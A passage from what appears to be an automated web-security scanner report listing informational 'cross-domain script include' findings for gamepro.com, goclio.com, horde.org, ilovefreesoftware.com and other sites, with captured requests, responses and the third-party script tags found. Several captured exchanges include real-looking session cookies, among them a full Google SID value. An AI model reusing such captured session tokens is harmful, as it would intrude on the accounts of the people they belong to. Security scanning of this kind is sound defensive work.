http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';pos=top;tile=4;sz=728x90;ord=' + dart.dartTimestamp + '?

Request

GET /lib/includes/ads/scripts/728x90.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 18 Jul 2011 22:24:40 GMT
ETag: "5f1d08-1ef-7713fa00"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:20 GMT
Age: 265
Content-Length: 495

if (!dart.skyboxAdServed) {
document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';pos=top;tile=4;sz=728x90;ord=' + dart.dartTimestamp + '?" type="text/javascript"></script>
...[SNIP]...

13.33. http://www.gamepro.com/lib/includes/ads/scripts/skybox.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/includes/ads/scripts/skybox.js

Issue detail

The response dynamically includes the following script from another domain:

http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=3;sz=940x90;ord=' + dart.dartTimestamp + '?

Request

GET /lib/includes/ads/scripts/skybox.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 18 Jul 2011 22:24:40 GMT
ETag: "5f1d10-1c9-7713fa00"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:16 GMT
Age: 241
Content-Length: 457

document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/idg.us.gamepro.'+dart.dartSite+'/'+dart.dartZone+';dartGenre='+dart.dartGenre+';dartSubGenre=' +dart.dartSubGenre + ';dartGlobalID='+dart.dartGlobalID + ';dartArticleID='+dart.dartArticleID +';dartESRB=' + dart.dartESRB+ ';dartEnv=' + dart.dartEnvType + ';dartEvent=' + dart.dartEvent + ';tile=3;sz=940x90;ord=' + dart.dartTimestamp + '?" type="text/javascript"></script>
...[SNIP]...

13.34. http://www.gamepro.com/lib/script/typekitcheck.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gamepro.com
Path:	/lib/script/typekitcheck.js

Issue detail

The response dynamically includes the following script from another domain:

http://use.typekit.com/

Request

GET /lib/script/typekitcheck.js HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 22 Jul 2010 18:38:28 GMT
ETag: "5fb37b-486-39695100"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: application/javascript
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:21 GMT
Age: 175
Content-Length: 1158

/*
   Checks to see if it is a mobile device.
   If not, run TypeKit check.
   Requires this line to be on html page:
   <script type="text/javascript" src="http://use.typekit.com/#########.js"></script>
*/

...[SNIP]...

13.35. http://www.games.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.games.net
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://rt.legolas-media.com/lgrt?ci=2&ei=9&ti=94&pbi=46
http://www.google.com/coop/cse/brand?form=searchbox_015014191863432584134%3A5qtmdnmu5l8

Request

GET / HTTP/1.1
Host: www.games.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

HTTP/1.1 200 OK
Server: Apache
Accept-Ranges: bytes
Content-Type: text/html
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:30:17 GMT
Age: 20
Content-Length: 50980

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Games.net - Gaming
...[SNIP]...
</div>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=searchbox_015014191863432584134%3A5qtmdnmu5l8"></script>
...[SNIP]...

<script type="text/javascript" src="http://rt.legolas-media.com/lgrt?ci=2&ei=9&ti=94&pbi=46"></script>
...[SNIP]...

13.36. http://www.genuinewin7.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.genuinewin7.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://atm.yoyi.com.cn/s/rt/;cid=1081

Request

GET / HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 15:34:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
P3P: CP=CAO PSA OUR
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 27514

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Co
...[SNIP]...
</script>

<script type="text/javascript" src="http://atm.yoyi.com.cn/s/rt/;cid=1081"></script>
...[SNIP]...

13.37. http://www.goclio.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js

Request

GET / HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://mail.trygoclio.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:24:16 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Mon, 01 Aug 2011 15:37:14 GMT
ETag: "1a1ba-2d85-4a97367c2de80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 11653
Content-Type: text/html

<!doctype html>




<script src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...

13.38. http://www.goclio.com/legal/privacy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/legal/privacy/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js

Request

GET /legal/privacy/ HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evUserID=2354101005; evSession=3240492494; ev_testing_group_157=1; evTest_97=98; evTest_448=548; __utma=61614835.381543352.1316481924.1316481924.1316481924.1; __utmb=61614835.7.10.1316481924; __utmc=61614835; __utmz=61614835.1316481924.1.1.utmcsr=mail.trygoclio.com|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

13.39. http://www.goclio.com/legal/tos/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/legal/tos/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js

Request

GET /legal/tos/ HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evUserID=2354101005; evSession=3240492494; ev_testing_group_157=1; evTest_97=98; evTest_448=548; __utma=61614835.381543352.1316481924.1316481924.1316481924.1; __utmb=61614835.6.10.1316481924; __utmc=61614835; __utmz=61614835.1316481924.1.1.utmcsr=mail.trygoclio.com|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:25:38 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Mon, 01 Aug 2011 15:37:14 GMT
ETag: "383dd-5a09-4a97367c2de80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 23049
Content-Type: text/html

<!doctype html>




<script src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...

13.40. http://www.goclio.com/our_customers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/our_customers/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js

Request

GET /our_customers/ HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.goclio.com/signup/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evUserID=2354101005; evSession=3240492494; ev_testing_group_157=1; evTest_97=98; evTest_448=548; __utma=61614835.381543352.1316481924.1316481924.1316481924.1; __utmb=61614835.4.10.1316481924; __utmc=61614835; __utmz=61614835.1316481924.1.1.utmcsr=mail.trygoclio.com|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:25:03 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Mon, 01 Aug 2011 15:37:14 GMT
ETag: "1a1b9-880e-4a97367c2de80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 34830
Content-Type: text/html

<!doctype html>




<script src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...

13.41. http://www.goclio.com/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/signup/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js

Request

GET /signup/ HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://mail.trygoclio.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:24:22 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 17 Aug 2011 03:48:24 GMT
ETag: "3831f-7d1a-4aaab5e3c9200"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 32026
Content-Type: text/html

<!doctype html>




<script src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...

13.42. http://www.goclio.com/tour/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/tour/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js

Request

GET /tour/ HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.goclio.com/legal/privacy/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evUserID=2354101005; evSession=3240492494; ev_testing_group_157=1; evTest_97=98; evTest_448=548; __utma=61614835.381543352.1316481924.1316481924.1316481924.1; __utmb=61614835.8.10.1316481924; __utmc=61614835; __utmz=61614835.1316481924.1.1.utmcsr=mail.trygoclio.com|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:26:28 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Mon, 01 Aug 2011 15:37:14 GMT
ETag: "383e3-3713-4a97367c2de80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 14099
Content-Type: text/html

<!doctype html>




<script src="//ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.js"></script>
...[SNIP]...

13.43. http://www.google.com/ig/adde previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/adde

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.google-analytics.com/ga.js
http://www.google-analytics.com/urchin.js

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Mon, 19 Sep 2011 15:17:32 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
X-Frame-Options: SAMEORIGIN
Set-Cookie: SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRj1buM1zXYdA__ObwXN6Zox83Kf4GNWqH6qas0qPeAB00qJcw0meCkjsjCGz1Y9q3pSa8wU8JCZVNu2hQ_P3JBAZIKe_vL1kI8ivKI0EBZrJwd7SdpT5SyEnyifwn5V7Z5-eQ7LWY9dOViPKaZS5F2FAcrTpgpf4IG7TaFvqlWrJfje2n2ghItZiMTQVAt_WEQbjpNBbQBYpeibdna7wvB9PFd5o-APnF7bvaxVCvq84_XuLsMgTkjCTrfbP8kMh_y_BEkuAcvmORNAKwcQajouJ2tnIrItCear0eiYl5jZqE; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?answer=151657 for more info."
X-Content-Type-Options: nosniff
Server: igfe
Content-Length: 8037
X-XSS-Protection: 1; mode=block

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>iGoogle: Get TwitterGad
...[SNIP]...
<br /><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</div><script src="http://www.google-analytics.com/ga.js"> >
...[SNIP]...

13.44. http://www.horde.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.horde.org
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://platform.twitter.com/widgets.js
http://www.google-analytics.com/ga.js
https://apis.google.com/js/plusone.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:41:40 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Vary: Accept-Encoding
Content-Length: 18103
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>The Horde Project</title>
<meta http-equiv="content-type" content="text/html; charset=ut
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google-analytics.com/ga.js"></script>
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

13.45. http://www.idc.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idc.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/munchkin.js
http://s7.addthis.com/js/250/addthis_widget.js?username=xa-4bc5749e796d55e1

Request

GET / HTTP/1.1
Host: www.idc.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Mon, 19 Sep 2011 19:30:21 GMT
Vary: Accept-Encoding, User-Agent
Content-Length: 59605
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<div id="Share_Icons">
<script type='text/javascript' src='http://s7.addthis.com/js/250/addthis_widget.js?username=xa-4bc5749e796d55e1'></script>
...[SNIP]...

<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

13.46. http://www.idgconnect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idgconnect.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:28 GMT
Server: thin 1.2.7 codename No Hup
X-Runtime: 480ms
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: logged_in=false; path=/
Via: 1.1 www.idgconnect.com
Vary: Accept-Encoding,User-Agent
Content-Length: 70490

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d6fb4f9237a594d"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4d6fb4f9237a594d"></script>
...[SNIP]...

13.47. http://www.ilovefreesoftware.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:16:23 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
Link: <http://wp.me/PwgoY-OR>; rel=shortlink
Vary: Accept-Encoding,Cookie,User-Agent
Expires: Tue, 20 Sep 2011 05:16:24 GMT
Pragma: public
Cache-Control: public, must-revalidate, proxy-revalidate
Etag: 3cffe1fc866953c3e7e4257ed3377358
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:16:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 68881

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
<div id="header"><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="googlesearch"><script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div style="background-color:white;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script> <script src="http://services.picadmedia.com/js/picad.js"
type="text/javascript"></script>
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

13.48. http://www.ilovefreesoftware.com/category/programming previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/category/programming

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:27:32 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
Vary: Accept-Encoding,Cookie,User-Agent
Expires: Tue, 20 Sep 2011 05:27:32 GMT
Pragma: public
Cache-Control: public, must-revalidate, proxy-revalidate
Etag: 7b8e13281940e4f72be0eb7f2180f6d3
X-Powered-By: W3 Total Cache/0.9.2.4
Last-Modified: Mon, 19 Sep 2011 19:27:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 50819

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
<div id="header"><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="googlesearch"><script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div style="background-color:white;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script> <script src="http://services.picadmedia.com/js/picad.js"
type="text/javascript"></script>
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

13.49. http://www.ilovefreesoftware.com/category/theme/default/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/category/theme/default/style.css

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi

Request

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:27:56 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:27:57 GMT
Content-Length: 31844
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
<div id="header"><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="googlesearch"><script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div style="background-color:white;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script> <script src="http://services.picadmedia.com/js/picad.js"
type="text/javascript"></script>
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

13.50. http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css

Issue detail

The response dynamically includes the following scripts from other domains:

